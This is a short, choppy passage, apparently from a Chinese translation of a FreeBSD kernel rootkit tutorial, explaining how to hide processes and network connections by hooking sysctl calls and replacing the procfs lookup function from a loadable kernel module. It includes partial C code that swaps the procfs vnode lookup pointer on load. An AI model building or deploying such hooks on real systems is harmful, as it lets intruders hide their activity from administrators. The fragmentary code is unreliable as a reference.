p; /* by effective uid */ #define KERN_PROC_RUID 6 /* by real uid */ #define KERN_PROC_ARGS 7 /* get/set arguments/proctitle */ 这些调用最后会结束于__sysctl调用,THC article 已经描述过了,我用另一种方法实现了它,代码在module/process.c 我们同样用这种方法来隐藏网络连接。
另外一种或的进程信息的方法就是通过procfs,你不需要知道数据的来源,因为它是内核动态产生的所以我们同样可以利用 在文件隐藏节中提到的两种方法来实现,下面我给出了通过hook proc’s lookup 函数的例子 /* * replacement for procfs_lookup, this will be used in the case someone doesn’t just * do a ls in /proc but tries to enter a dir with a certain pid */
You would then replace it when you load the module: extern struct vnodeopv_entry_desc procfs_vnodeop_entries[]; extern struct vnodeopv_desc **vnodeopv_descs; vop_t *old_procfs_lookup;
static int load(struct module *module, int cmd, void *arg) { switch(cmd) { case MOD_LOAD: mod_debug("Replacing procfs_lookupn"); old_procfs_lookup = procfs_vnodeop_p[VOFFSET(vop_lookup)]; procfs_vnodeop_p[VOFFSET(vop_lookup)] = (vop_t *)new_procfs_lookup; break;
case MOD_UNLOAD: mod_debug("Restoring procfs_lookupn"); procfs_vnodeop_p[VOFFSET(vop_lookup)] = old_procfs_lookup; break;